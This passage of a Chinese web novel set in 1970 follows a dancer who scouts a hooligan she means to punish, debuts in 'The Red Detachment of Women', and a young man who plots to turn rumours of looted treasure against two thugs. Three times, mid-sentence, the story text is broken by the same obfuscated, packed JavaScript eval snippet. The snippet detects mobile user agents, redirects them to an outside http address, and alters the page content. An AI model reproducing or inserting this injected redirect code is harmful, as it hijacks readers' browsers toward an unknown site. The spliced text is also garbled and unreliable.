吴军一点儿也不拘谨,十分不拿自己当外人,坐下拿起桌上的香蕉,边剥皮边道:“关哥,上次的话还作数吧?我这次来可有事儿找你。” 关百钺拍了拍脑袋:“瞧我这记性。你放心,关哥的话,什么时候都好使。说吧,有什么事儿?” 吴军将香蕉皮扔进不远处的垃圾桶,只见香蕉皮在桶盖处挣扎了几下,终于掉了进去,吴军欢呼了一声,这才挑眉,道:“哥,我说我想推荐上大学,你能办吗?” 关百钺将左手放在右手上,右手食指轻轻敲打着桌面,低声道:“让我想想。怎么想起读大学了?现在可都说读书没用,是臭老九......” 吴军嗐了一声:“哥,我不傻!要是读书没用,怎么我爸一个后勤主任,住得没你家好?关叔叔关阿姨可都没当官儿!我知道,如今上大学也学不了什么,可没有这个平台,之后做什么都受限。只要我上去了,你放心,关哥,我忘不了你的提携。” 关百钺摆摆手:“说这个还太早。你今儿找我,你爸和方阿姨......” 吴军切一声,十分的鄙夷:“别提我爸!你也知道,有后妈就有后爸。那老头子对三个假闺女,都比我这个真儿子强,我也靠不着他。关哥,你放心,能不能办成,我都不会把你卖了的。” 关百钺忙说:“我不是这个意思,这样,你这事儿太大,我去给你打听打听。三天,给我三天时间,就像我之前说的,能办我就给你办,不能办我就给你说为什么不能办,该去找谁,不该去找谁。怎么样,信关哥吗?” 吴军嘿嘿嘿的笑:“那自然是信的。行,关哥,有你这句话我就放心了。三天,三天后我再来。” 说着吴军起身,拍了拍关百钺的肩膀。关百钺点点头,将人送出门,客气道:“慢走。放心,你这件事儿我放心上了,一定给你打听。” 吴军竖起两根手指放在眉间,潇洒地向外一甩,行了个美式军礼,他道:“谢了,关哥。” 11. 胡同口再次相遇 周六一早,轰隆隆的雷声响起,狂风夹杂着黄豆大的雨滴,噼里啪啦的砸在地面和窗户上,啪啪作响。 这就骑不成车了,只能坐公交上班。等父母都走了,章清云低声跟弟弟商量:“小远,今儿下雨,你就不用送我上下班了,浪费钱不说,还浪费时间。你也看到了,姐没谈恋爱,不用你上下班接送。” 章清远眼珠子滴溜溜转,老父亲章砚臻可是承诺了,接一天给一分钱工钱的。这要是不去,不就少赚了一分钱? 章清云只得寄出杀手锏,从怀里掏出两块儿大白兔,晃了晃道:“你要是答应,这两块糖就归你,怎么样?” 一分钱可买不了大白兔!章清远一把抢过来,嘿嘿嘿的笑,还不忘讨价还价呢:“姐,那你下班的时候跟爸说,我去接了你,好不好?姐姐,好姐姐~” 还想两头赚呢,章清云揉了揉小家伙的脑袋:“行,姐帮你瞒着,不过明儿周末汇演,你可不能跟着我,知道不?” “知道,知道。我也是有小伙伴的好不好,怎么会天天跟着你呢,嘿嘿嘿。” 章清云点了点小家伙的头:“那你自己在家老实点儿,雨停了才能出去玩儿,知道不?” 唠叨了两句,章清云披上雨衣,这才往出走。都周六了,再不处理,小五子的伤都要好了,可不能便宜这小子。 上了公交,章清云还在想怎么炮制这混蛋呢,不期然右肩被撞了一下,抬头,见是一流里流气的男生,看着也就十七八岁的样子,穿一白色的老头衫,冲着章清云挤眉弄眼的:“姑娘,站稳点儿,摔了多疼啊。要不然你过来,扶着我旁边座位的扶手,比上面的拉环稳当......” 得,又一见色起意的,来了这么多天,章清云也习惯了这种待遇,只当没听见,拽着拉环继续想事情。谁知左侧也来一人,挺着啤酒肚的油腻中年男,不住地往章清云身上蹭啊蹭的,这个哪能忍? 趁着公交到站的空挡儿,章清云装作站立不稳的样子,抬腿轻轻撞了下前方座位上那人的伞。这可不是随便撞的,伞的高度正好到中年男的关键部位,只听嗷一嗓子,中年男捂着裆,发出杀猪般的惨叫。正准备控诉座位上的人呢,章清云已经侧身将伞回归原位了。 下雨,大家都带着伞,没人看清是哪把伞戳了那么一下,中年男没看见目标,干脆手指胡乱地点人,叫嚷着骂道:“你,你,你,肯定是你们的伞,不能走,戳到我了,还想走,得调查清楚,赔钱,不能就这么算了......” “神经病。”被指到的人谁理他啊,都忙着上班呢,章清云默默后退,深藏功与名。 你说关注着章清云的右侧小年轻看到了?看到就看到呗,没见那人脸都白了,已经火速离章清云十米远了嘛。估计这辈子见了章清云,都不会想着撩骚了。 心情愉快地下了车,今日文工团的气氛有些怪,章清云一进来就感觉到了。原本扒着蓝可人的杜玉玲,正拉着其他人高声交谈,就是不理蓝可人。 蓝可人呢,并不是个会交朋友的,又因为一直以来都演女主,自然被团里的其他人嫉妒。杜玉玲一搞孤立,蓝可人四周立马成了真空地带,没人靠近。 章清云可不理这些,对着大家点点头后,与往常一样,笑着对蓝可人道:“可人姐,早。” 蓝可人松了口气,柔柔地道:“清云,早。” 杜玉玲翻个白眼儿,继续跟其他人高声交谈。程紫鹃是最后一个来的,刚到就明白了怎么回事儿,她可从不搞小团体那一套,仍是跟章清云凑到一堆儿,说说笑笑。 明儿就是周末汇演,周六训练结束的早,毕竟要保存体力,留到明日舞台上再用嘛。六天熟悉下来,章清云已经将动作都记熟了,就是明儿让她上,她也能跳下来,就是可能没什么感情,一味的动作机器罢了。 “清云,再见。” “再见。” 才四点钟,雨早已停了。章清云又是洗头,又是洗毛巾的,磨蹭到最后一个,见大家都走了,这才掏出带来的衣服和剪刀。 原身长得太打眼,章清云对着镜子,直接将前面的头发剪成厚厚的刘海,再拿出老父亲装文化人用的平光眼镜,又在脸上点了几颗痣,嘴唇用火柴棍儿涂得黑一些,眉毛描粗一些。嗯,不至于到让人认不出来的程度,但乍一看,就是一普通美貌的大妞儿,没原身那么惹眼。 换好衣服,章清云低着头,蹭蹭蹭离开文工团。直到真的没人叫她,这才放下心,疾步朝“小卖部”大杂院走。 小五子可是杀了人的,只“不行”可太便宜他了。杀人就得偿命,只不过怎么做能不牵扯家人,章清云还没想好。今天去也不是冲着人命去的,只是踩个点儿,看看在哪里下手能神不知鬼不觉。 也是赶巧了,刚进胡同,迎面撞上从里面出来的关百钺。 关百钺尴尬坏了,这见了传说中的“女朋友”,是打招呼啊,还是不打招呼啊。打与不打,好像都挺难堪的。 两次都遇见关百钺,章清云挠了挠下巴,开口道:“你是不是找那个苏赖子?你和他有仇?” 要是她没记错,苏赖子和小五子是认识的,小五子不是个好的,这苏赖子应该也不是个东西。能不能明面儿上对付苏赖子,实际上把小五子牵连在内,这样就没人怀疑她了...... 章清云默默打着算盘,对面,关百钺见人家姑娘都开口了,他一大老爷们不好不说话,只得道:“是,不过不是我跟他有仇,是他看上了魏雪,整天找人跟着,已经干扰到魏雪的日常生活了。我是魏雪表哥,不能看着不管。和他打了两次架,这次也是来找他对峙的,不过他不在。怎么,你也找他?” 章清云没回答这个问题,反而问道:“苏赖子是不是和一个叫小五子的关系特别好?” 关百钺多看了这姑娘两眼,感情是来找小五子的啊。这几日小五子“那里”受伤的事儿,他也有所耳闻,联想到这姑娘徒手劈砖的狠劲儿,难不成是她做的?那就是小五子对这姑娘用过强,被这姑娘教训了! 关百钺眼睛越来越亮,他低声道:“这事儿交给我,苏赖子和小五子我来对付,你一个姑娘家,别来这种地方,就算画成这样也不安全。放心,周一准有信儿。” 章清云挑挑眉,这可不是个单纯的顽主,心里的弯弯绕儿不少啊,她问:“你想怎么做?” 关百钺摆摆手,一脸的讳莫如深:“现在还不能说,你要是相信我......” 正说着话呢,洪安娜挎着沈爱军的胳膊进来,见了两人吹了声口哨,高声道:“百钺,清云,你俩也来这儿买东西?买完没,没买跟姐一起去啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180835|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,听说有E国进口的巧克力糖,让沈爱军掏钱,他今儿可是承诺了付钱的。” 说着嗔了沈爱军一眼,沈爱军一脸的无奈,摊开手保证道:“好,我付钱,我付钱。” 章清云:“......” 关百钺:“......” 两人这是什么体质啊,怎么只要凑在一起,就得遇见熟人,就得被误会成“男女朋友”,这还洗不清了! 章清云想骂娘,想想又忍住了,眼睛上上下下地打量关百钺。这男人长得也还行,这年头,漂亮姑娘身上不盖个男人的戳儿,擎等着祸事吧。男女平等到了二零二五还是个艰巨的任务,更别说如今是一九七零了。改变不了规则,那就利用规则...... 关百钺背后的汗都出来了,天爷啊,他两辈子都没娶媳妇儿,难道就是为了这辈子遇上章清云的? 洪安娜眼神儿在两人之间来回皴寻,又多看了章清云几眼,咯咯咯的笑了出来:“你俩这是打什么哑谜呢。还有,清云,你这脸化成这样,怎么,担心百钺护不住你啊?” 她挑挑眉,替关百钺打包票:“放心,百钺还不至于窝囊成那样,连自己的女人都护不住。再说,他不行还有我们呢,部队大院、市政大院,还有科研大院,可都卖百钺的面子,你放心吧。以后出门可别化成这样儿了,漂漂亮亮的多好。” 她拍拍手,继续道:“行了,想单独约会下次吧,今儿就陪陪我。清云,我可是百钺的姐姐,跟盈钺似的,别跟我客气。走,咱俩还没一起逛过街呢,今儿就算第一次了。” 说着疾步过来,拉着章清云的胳膊就走,还不客气地双手在章清云脸上招呼:“擦了,原来多好看的,听话。” 章清云边躲,边冲关百钺使眼色,那意思很明显,周一要是没消息,她可就亲自动手了! 许是真有缘分,关百钺竟看懂了这个眼神儿,他做了个OK的手势,章清云眼神儿一眯。这个手势......不对,十九世纪美国就有这个手势了,关家是搞科研的,能看到外国材料也说不定,再看看,说不定不是呢。 关百钺做完这个手势愣了下,赶紧放下手,微微点头,算是岔过去了。 沈爱军搂住关百钺的肩,走在后面,还颇同情地拍了拍关百钺:“兄弟,珍惜刚开始这一段时间,女人呐,越到后面越作,特别是漂亮女人,有得你受。” 前面的洪安娜头也不回,幽幽的道:“沈爱军,我没聋!” “哈哈,我什么都没说,什么都没说。”沈爱军舔着脸,谄媚道,“前面右拐,对,快到了。” 之所以叫这里“小卖部”大杂院,实在是这家小卖部不一般。不仅有进口食品,还有时兴布料,就连收音机票、自行车票都有,已经不能说是小卖部,可以称得上是“百货商店”了。也正是因为在市百货商店后面,货物来源可想而知。不过大家睁一只眼闭一只眼,没人捅破罢了。能做起来,背后肯定有人罩着,还不是简单人物。在搞不清楚此人的深浅前,没人会轻举妄动。 买了半斤夹心饼干和半斤巧克力糖,四人才从小卖部离开。分开前,洪安娜将东西一股脑儿塞给章清云,十分爽朗的道:“就当姐送给你的见面礼。既然跟百钺谈对象,我这个做姐姐的可不能含糊,拿着,要是不收我可是要生气的。” 12. 关百钺借刀杀人 洪安娜太过热情,章清云推拒不了,干脆收下了。 洪安娜笑眯眯的,转头吩咐道:“百钺,去,送清云回家。” 章清云连忙摆手拒绝:“不用,我坐公交......” 洪安娜摆摆手不让章清云说话,一叠连声地催促关百钺:“坐公交也得送呀,这么远呢。百钺,听见没?清云一个女孩子可不能自己回家。” 关百钺倒没推拒:“知道了,安娜姐,爱军哥,你们先走。” “行,明儿见。” 看着两人渐渐走远,章清云迈步,边朝公交站台走,边道:“不用送,我家门口有公交,很近的。你还没说想怎么做呢,需要我做什么吗?” 关百钺低声道:“不是我不说,是事先最好别走漏风声。你要是不急,就等到周一,周一要是没消息,你只管找我,行不行?” 章清云斜眼儿看了关百钺一眼,想了想,点头道:“行吧,就信你一次。” 到公交站台了,章清云开始赶人:“行了,我的功夫你又不是没见过,没人能占我便宜的。倒是你,怎么回去?” 关百钺:“科研大院离这里不远,我走回去就成。等你上了公交我就走。” 章清云点点头,空气突然安静下来,就在章清云觉得有一丝丝尴尬,在两人之间蔓延的时候,公交来了,她边跑边道:“我走了,再见。”说完松了一口气,也不知为什么要松口气,反正就是觉得,嗯,公交来了,浑身都舒坦了。 关百钺摆摆手:“再见。” 其实关百钺的计划很简单,无非是借刀杀人罢了。不管什么时候,亲自动手都是最下乘的,不是走投无路,关百钺从不亲自动手。嗯,才不是他功夫不成。 苏赖子和小五子都是混下三路的,那就用下三路的办法对付他们。 关百钺先是找到高斌,说了苏赖子还在骚扰魏雪的事儿,他是这么说的:“哥,魏雪还小,苏赖子那人又不讲道义,上次您带着我去警告他,还打了人,他也没收手。要不然这么着,您多找几个中人,最好道儿上有名有姓的都请来,咱们多方坐下来聊聊,将这件事儿了了,怎么样?我还不信了,青江市的顽主们都知道了这事儿,他苏赖子还能继续无赖下去!” “成!”高斌最近感情之路顺利,对小弟们的关心就少了些,没想到苏赖子这人这么不地道,他拍板道,“是哥最近疏忽了。你放心,哥今晚就去找人,明儿吧,明晚咱们都坐下来聊聊,晾他苏赖子有天大的本事,也不敢跟青江市所有顽主们对着干!” “那我先谢谢斌哥了。” 高斌摆摆手:“这话就多余。行了,我走了,等我的信儿吧。” “成,斌哥你慢走。” 既然说下了请青江市所有顽主的话,那小五子必跑不了。关百钺开始走第二步,打听之前抄家的事儿。为什么提这个呢?因为苏赖子和小五子年纪不小了,都是当年□□那一拨的参与者,身上肯定是有东西的,得让人想起来这茬啊。 关百钺翻箱倒柜的,终于找到了家里的茅台,提着去了沈爱军家。沈家是旁边部队大院的,沈老爷子能在这个时候还没倒,身上是有大功劳的。而沈爱军呢,退伍后做了警察,有沈老爷子在,眼看前程小不了,是以沈家每晚都十分热闹,不少小年轻去找沈爱军攀交情。 别以为顽主们就不巴结人,生在这个环境下,或多或少都熏陶了些。再者,沈爱军是个讲义气的,处事公道,不会拿下巴看人,大家有事儿没事儿的,也都爱找他。 关百钺到的时候,沈家的院子里,乌泱泱,或坐或站了二十个人,叽叽喳喳的,十分热闹。 见到关百钺,沈爱军倒是有些意外,下午刚见过,实在是不知道这小子怎么又来了,他没客气,直接问:“你小子有事儿?” 关百钺将酒放在竹桌上,笑着道:“这不是来跟哥打听事儿呢嘛。那什么,爱军哥,你和安娜姐平时都去哪儿约会啊,跟小弟说说呗。” 能找什么理由呢,关百钺只能在心里说一句对不起。不过今儿章清云都这么看他了,对吧,也不能怪他找这个借口。 沈爱军指着关百钺,哈哈哈的笑:“好你个关百钺,特意来取笑哥?” “哪儿啊。”关百钺连连摆手,十分的谦虚,“我可是真心请教。瞧,家里仅剩的茅台都带来了,哥,你可不能藏私啊。” “哦哦哦。”一群的起哄声,这个说:“百钺哥,你真谈对象了?” 那个嚷:“百钺哥,有对象了可得请客!” 关百钺指了指众人:“就会起哄。你们可啥好用的建议都没有啊,就想吃饭?先说一个靠谱的,咱再说吃饭的事儿。” 这就和大家聊上了。聊天儿嘛,天南海北的胡侃,也不知谁起的头,说起了之前抄家的事儿。关百钺有意无意地往苏赖子身上引,他说:“听说当时大杂院那边儿动手的不少,该是都得了利了。” “可不是。”人群中一个戴眼镜的年轻人扶了扶眼镜,道,“就小卖部大杂院那一片,一个叫小五子的,一个叫苏赖子的,当时可都厉害着呢。我记得抄孟半城的时候,光是大黄鱼就抄出来五大箱子,更别说字画、古董了。” “都没砸?”有那年轻的,看着十四五岁大,眨着懵懂的大眼睛问。 人群里爆发出笑声,有人拍了拍小年轻的肩膀,笑着道:“程小弟,哥哥教你一个乖,这值钱的东西,到了什么时候,都值钱。金银财宝,放在你面前,你会想着砸吗?” 小年轻咽了咽口水,人群又轰然笑开。有人低声议论着小五子和苏赖子到底藏了多少,有人思考两人把东西藏在哪儿,也有人沉默着不再说话。 关百钺见引起了大家的注意,又把话题往回拉,他说:“不说了,不说了,都怪我,如今说这些到底不好。喝酒,特意从家里带来的茅台。爱军哥,整几个下酒菜呗?” 沈爱军眯了眯眼,多看了关百钺几眼,很快笑着道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180836|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好你个关百钺,我就说怎么带酒来了,感情是想混饭吃啊。等着,我去厨房看看还有什么剩下的。” “爱军哥,我家还有花生米,我去拿。” “我家有千张丝,我去端过来。” “我家还有没喝完的茅台,一瓶哪儿够啊,我去给偷过来。” “我家有......” 大家三三两两说着话,很快各自回家拿东西,又十分迅速地重新聚集在沈家。吃着喝着,直闹到十二点才散。关百钺回到家,睡了个踏实觉。 都说人言可畏,阮玲玉都因为人言自杀了,可见真正的流言,是能杀人的。更别说这种牵扯巨额钱财的流言,总有亡命徒会当真,去找苏赖子和小五子的。他关百钺可什么都没做,相反,他只是个小弟,是遇到麻烦,还得请中人帮着解决的小弟,如此而已。 翌日一早,章清云早早起床,今儿周末汇演,七点半就得在文化宫集合。好不容易周末,她也没打扰父母和弟弟睡觉,悄么悄洗漱好,拿起昨晚陈静给的钱和粮票,蹑手蹑脚走出家门。 好在今儿是个大晴天,章清云在胡同口买了油条豆浆,吃完才骑车离开。这年头也有摆摊儿卖早餐的,只不过是公私合营的,摊位前面都要挂上执照,摊位很少罢了。 到了文化宫后台,不期然发现唐可人捂着肚子坐在椅子上,一脸的痛苦,程紫鹃在一旁低声安慰人,教练周文芳急得团团转,见章清云来了,脸上也没多轻松。章清云之前从没挑过大梁,她,成吗? 唐可人有气无力的,她说:“清云,我......我例假提前了,真是对不住,可能......”她看向周文芳,等着教练发话。 周文芳深吸几口气,不行也得行,章清云是B角,就得这时候顶上,她说:“清云,换衣服,今儿你演琼花。上去了什么都别想,只管跳,万事有我顶着,别怕。” 说着,周文芳拍拍手,严肃着脸看向众人,道:“今儿清云第一次上场,大家好好配合。记住,场下可能就坐着哪个领导,都给我好好跳,明白吗?” 不得不说,周文芳的嘱托是有效果的。本来听说让章清云顶上,团里的几个女配,像是杜玉玲之流,还想着在舞台上,让章清云出个丑什么的。毕竟周末汇演嘛,又不是多重要的演出。外行可能根本看不出来那是演出事故,可在文工团内部,章清云的前程也就止步于此了。 如今听到下面可能坐着领导,几个人又拿不准了,纷纷望向杜玉玲。 杜玉玲微微摇头,收拾人有很多种办法,她们是芭蕾舞演员,还是不要轻易拿舞台开玩笑了,太砸招牌。 章清云跟着点头,她倒不是紧张,就是万万没想到,第一场演出来的这么快。 程紫鹃在一边给好友加油鼓劲儿:“清云,你一定可以的,加油!” 章清云微微笑了笑,换好衣服,幕布缓缓拉开,数千观众都已到场,黑压压一片。一切准备就绪,只等章清云上场。 13. 第一次正式登台 “你说说你,昨晚回来那么晚,今儿有清云的演出,知道不知道呀?”关盈钺边唠叨对面顶着黑眼圈喝豆浆的弟弟,边利索地收拾吃完的碗碟,“你可快着些,演出九点开始,这都八点了。” 关百钺只觉得耳朵嗡嗡嗡地响,昨天十二点才回来,等洗漱上床,起码有十二点半了,又喝了酒,真是没怎么睡着呢,不到八点,就被关盈钺从床上捞起来,美其名曰去文化宫看章清云的演出。 他无奈摊手:“姐,我和章清云真没什么的,你不用......” 关盈钺白了嘴硬的弟弟一眼:“得了吧,我还不知道你,要不是对那姑娘有意思,你能对吴军说那些话?能任凭大家这么取笑?好了,少废话,快吃!吃完碗别洗了,先走,今儿说不定清云能上场呢,咱们可得好好捧场。” “姐,章清云是B角,只有A角不舒服了,或者退下来了,她才顶上的。” “那就不兴今儿有特殊情况啊。嘿,刚还说对人家姑娘没意思,结果连B角都打听出来了,你呀,就嘴硬吧。快着点儿,真是急死我了,工人文化宫可在市西钢铁厂那一片,离科研大院可不近。” 在关盈钺的唠叨声中,关百钺慢条斯理地吃完早饭,等终于出发时,已经八点十五了,关盈钺一边儿推自行车,一边儿嘱咐:“你安娜姐认识文工团的教练,等会儿领你去后台看看。你可老实点儿,文工团漂亮姑娘多,小心思也多,你现在是有主的人了,去了后台,眼珠子给我老实点儿,听见没?” 关百钺双眼放空,嗯嗯嗯的点头,原身也是够不靠谱的,做什么都得姐姐千叮咛万嘱咐。 大概半个小时吧,到了工人文化宫。洪安娜已经在门口等着了,见了两人连忙摆手。姐弟俩将自行车停在车库,小跑着过去,关盈钺还问呢:“爱军呢?没跟你一起来?” 洪安娜白了关百钺一眼:“还不是百钺,大晚上去找爱军喝酒,今儿说什么也起不来,我就自己来了。走,我领你们去后台。” 关百钺跟在后面,见到守门的就让烟,等进了大门,洪安娜拍拍关百钺的胳膊:“行啊,都会交际了,是个男人样儿了。” “安娜姐。”关百钺无奈,青梅抓马就是这样,彼此见过对方穿开裆裤的样子,总是不自觉把对方当成小孩儿,从没想过,原身已经是二十岁的成年人了。 洪安娜笑:“行了,不取笑你了。一会儿进去老实点儿,说是后台,其实就是演员化妆的地方。这样,你先别进去,等我和盈钺进去问问再说。” 关百钺:“......”感情你们也不知道男人能不能进啊,这事儿整的,他忙说:“安娜姐,我就不去了,在这儿等你们好了。后台都是女人,不方便。” 洪安娜和关盈钺对视一眼,洪安娜道:“行,你在这儿等着,我和盈钺姐一会儿就回来。” 关百钺点点头,在后台门口等着。 洪安娜和关盈钺十分顺利地进入了后台,见到周文芳让章清云演琼花的那一幕。说实话,两人真是有些意外,章清云才十八,要是这场跳得好,以后指不定就是台柱子了。蓝可人马上二十三了,芭蕾舞演员的黄金年龄已经过去。一般超过二十三岁,剧团会慢慢物色新的人选,不会再让一个演员挑大梁。章清云能这时候顶上,跳个五六年不成问题。 另一边,周文芳还在安排:“小徐,你去送可人看医生,看看能不能开个药什么的。”说着冲小徐挤眼睛,最好开个止疼药,再带回来。万一章清云顶不上,蓝可人还得上台。别说什么疼不疼的,疼也得上,要是出了演出事故,谁也担待不起。 小徐是团里的副教练兼生活秘书,主管的就是这些姑娘们的事,还有安排演出什么的,都归她管。她点点头,表示明白,扶着蓝可人往外走。 见到洪安娜,周文芳也只点点头。周文芳的爱人,是洪安娜的舅家表哥,说起来两人的关系也不远,只不过如今周文芳没心情寒暄,见蓝可人走了,又弯腰去跟章清云叮嘱。 洪安娜冲着关盈钺摆摆手,两人静悄悄离开。能看到章清云第一次上台演出,实在是幸运。走到后台门口,洪安娜笑嘻嘻地道:“今儿清云上台,走,咱们去剧院看,我带的票在前排,看得清楚。” 蓝可人被扶着出来,关百钺自然能看到,也猜到了怎么回事儿。三人坐下没多久,舞台的幕布拉开,《红色娘子军》正式开演。 《红色娘子军》讲述的是农家女琼花,因为家贫,被恶霸南霸天强抢,入府为奴,经历过逃脱、被关水牢等一系列挣扎,最后被当成“礼物”赠送给富商。富商心善,半路将琼花放了。迷茫的琼花历经艰险找到革命根据地,又一次见到了富商,原来富商是党代表。琼花在党代表的带领下,英勇作战,在一次勘查任务中,再一次见到了仇人南霸天。彼时,还年轻的琼花被仇恨蒙蔽双眼,无视纪律,开枪射杀南霸天,害南霸天逃跑,任务失败。之后,经历了党代表的牺牲,琼花痛定思痛,终于成长为合格的革命战士。 故事并不复杂,不过舞蹈嘛,没有台词,全程需要通过肢体动作,传达出琼花的转变。琼花先是农家女,身上得有农家女的朴素与勤劳,之后入府为奴,需表现出痛苦、不甘和愤恨。之后被富商放了,琼花一时不知该往哪里去,这时候,就要表现出琼花对前途的迷茫。再到后来被仇恨侵蚀,不顾任务开枪,琼花的冲动和鲁莽,需体现的淋漓尽致。及至最后,琼花对革命的坚定信仰,全需要用肢体语言表达出来。 原身章清云是个清瘦的女生,虽身高一米七,但骨架小,整体显柔弱,没有蓝可人这种大骨架女生的力量感。不过那是以前,此时的章清云,给人以完全不同的感觉。 只见舞台上的章清云,动作硬朗,起伏之间充满了力量感,同时又不失农家女的朴素与韧劲儿,逃跑时,眼神儿决绝,脚步却踉跄,被投入水牢时,眼神儿里的愤恨与不甘,让后排的观众都觉心酸。 可以说,章清云很好地诠释了琼花这个角色。特别是最后成长为合格的女战士那里,那坚定的眼神以及对未来的自信与向往,让大家忍不住鼓起掌。 等舞台的幕布拉上,所有人都站起身,一个劲儿鼓掌。章清云带领一众演员谢幕,她也是第一次知道,原来全场跳下来,这么酣畅淋漓,又这么累。 等再次回到后台,文工团团长向党已经等在门口。第一次上台就能零失误跳完全场,不得不说,章清云用实力证明,她是不折不扣的下一个台柱子。 见所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180837|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 演员都到了,向党高声祝贺大家:“恭喜大家成功完成演出任务!” 说着带头鼓起掌,演员们也都十分兴奋。向党开始一一和演员握手,握到章清云时,她语气非常激动:“这样,小章,先不急着卸妆,等观众都走了,咱们在舞台上拍几张照,以后宣传的时候用。文芳,一会儿让人给小章补补妆。” 周文芳点头,章清云却有些迟疑:“可人姐......” 向党笑:“没事儿,如今演出任务重,咱们可以分成两组,分开演出嘛。而且可人年纪也到了,她和我,还有文芳都谈了,希望能慢慢转到幕后。你应该也知道,她恋爱了,已经准备要结婚了。以后的重心就是家庭,舞台会慢慢让给你这样的年轻人。” 章清云真是吃惊了,虽说二十五岁就不能挑大梁了,但蓝可人毕竟还没过二十三岁的生日,再跳一年应该没问题。而且她刚和高斌确定关系,这就准备结婚了? 她望向教练周文芳,周文芳面无表情地点头。这个蓝可人,没法说,明明那么大气端庄的长相,是这么多年最贴近琼花的,却偏偏扶不起来。 先是被杜玉玲拿捏,这就算了,反正有她们看着,杜玉玲占不了大便宜。可这么多年了,蓝父蓝母什么样子,蓝可人还认不清。 其实结婚的事儿不是蓝可人跟周文芳说的,而是蓝母来找的她,为的什么周文芳很清楚,无非是高斌出身大院罢了,蓝可人嫁过去,蓝家全家都能跟着吸血,自然是希望蓝可人和高斌尽快结婚。 可这事儿蓝可人不知道吗?周文芳心里有疑问,同时也不看好蓝可人和高斌。蓝可人拎不清,高斌年纪小,可能被爱情冲昏头脑,可高父高母却不是任人拿捏的。 高斌凭什么做这一波部队大院孩子们的大哥?还不是因为他爸在位置上!这时候还没下去的,能是心里没成算的?看着吧,以后这事儿有的闹。 不过再怎么闹,章清云要逐步取代蓝可人,成为新的台柱子,这个却是不会变的。 见章清云明白了,向党又道:“明儿上午,钢铁厂有一场演出,你上,之后休息两天再上班。” 蓝可人例假来了,明天肯定不能上场,章清云点点头,这样也挺好,连着跳两场,休息两天。 拍完照,已经快十二点半了,没想到洪安娜、关盈钺和关百钺仍在剧院里等着,非要请章清云吃饭。望着四人离开的背影,向党转向周文芳,面带疑惑。周文芳低声说了几句,向党皱眉:“确定是章清云的男朋友?” 周文芳无奈点头,向党的眉头都能夹死苍蝇,低斥嘀咕:“才多大,就谈对象!这一个个的,都不省心。不会影响演出吧?” 周文芳也不能保证啊,她只能说:“从今儿表演能看出来,章清云情绪还算稳定,不像蓝可人,情绪容易受外界影响。而且章清云体力好,不仅能跳满全场,到最后了还能保证动作的高水准,我觉得影响应该不大。” 向党也没办法,总不能不让队员谈对象吧。文工团的女孩子向来受欢迎,她再一次叮嘱:“之后可能还有下基层演出的任务,你盯着点儿,别让什么人都接触队员。另外两个组尽快安排好,让大家磨合起来。七一之后演出任务就多了,分成两个组,大家都轻松。” 14. 约会后吴军上门 “焖罐牛肉、奶油烤杂拌、马车夫沙拉,再来一个烤肠。汤的话,来一盘奶油蘑菇汤,甜点就上樱桃冰淇淋,谢谢。” 苏联餐厅里,洪安娜将菜单递给女服务员,笑着点了点众人,“跟我还客气,行了,我都点好了,等着吃就行。” 章清云笑了笑,青江市虽小,却也是重工业中心城市,类似京城的老莫餐厅还是有的,且因着离那边更近,餐厅还更大,菜品也多。只不过价钱摆在那里,非必要,大家不大来罢了。 她不动声色地打量着餐厅。墙壁上挂着装饰画,餐桌上铺着雪白的桌布,桌上摆着精致的桌牌和透明的玻璃容器,椅子是带弹簧的软椅,连椅背都是软枕靠背,坐起来十分舒服。最关键的是,餐厅的女服务员都很年轻漂亮。怪不得顽主喜欢来这里。 在文化宫拍完照,洪安娜和关盈钺说什么都要拉着章清云吃饭,两人太热情,章清云实在推脱不过,只得跟着一起来。 只不过点菜嘛,不是她不敢,而是,怎么说呢,虽刚来这里没多久,也知道物价水平。大米一毛钱一斤,鸡蛋六七分一个。可菜单上,一份儿简单的沙拉却要一块四。她还没发过工资呢,一分钱没挣,实在是没脸点这么贵的菜。 洪安娜人头熟,餐厅里来来去去的人不少,她能认出大半,一会儿和这个招招手,一会儿和那个点头的,一餐饭下来,东西没吃多少,话也没好好说,净跟人交际了。 关盈钺眼神儿闪了闪,等洪安娜结账出来,拉着她道:“安娜,走,陪我去买个裙子。听说百货公司来了新的布拉吉,去看看。百钺和清云不用管,让他俩自己逛去,走吧。” 洪安娜转头对着两人笑:“这是嫌我俩碍事儿了?” 关盈钺拉着人往外走:“可不是,小年轻嘛,总得腻歪几天。走吧,别理他们。” 看着两人离开,章清云走出苏联餐厅,低声问关百钺:“事儿怎么样了?” 